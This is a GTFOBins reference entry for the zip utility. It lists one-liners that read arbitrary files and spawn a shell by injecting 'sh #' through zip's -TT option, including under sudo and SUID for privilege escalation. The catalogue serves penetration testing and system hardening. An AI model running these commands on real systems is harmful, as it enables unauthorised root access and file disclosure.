GTFOBins.github.io/_gtfobins/zip.md
Andrea Cardaci 5255ea1846 Cleanup
2021-04-17 21:03:54 +02:00

25 lines
473 B
Markdown

---
functions:
file-read:
- code: |
LFILE=file-to-read
TF=$(mktemp -u)
zip $TF $LFILE
unzip -p $TF
shell:
- code: |
TF=$(mktemp -u)
zip $TF /etc/hosts -T -TT 'sh #'
rm $TF
sudo:
- code: |
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
limited-suid:
- code: |
TF=$(mktemp -u)
./zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
---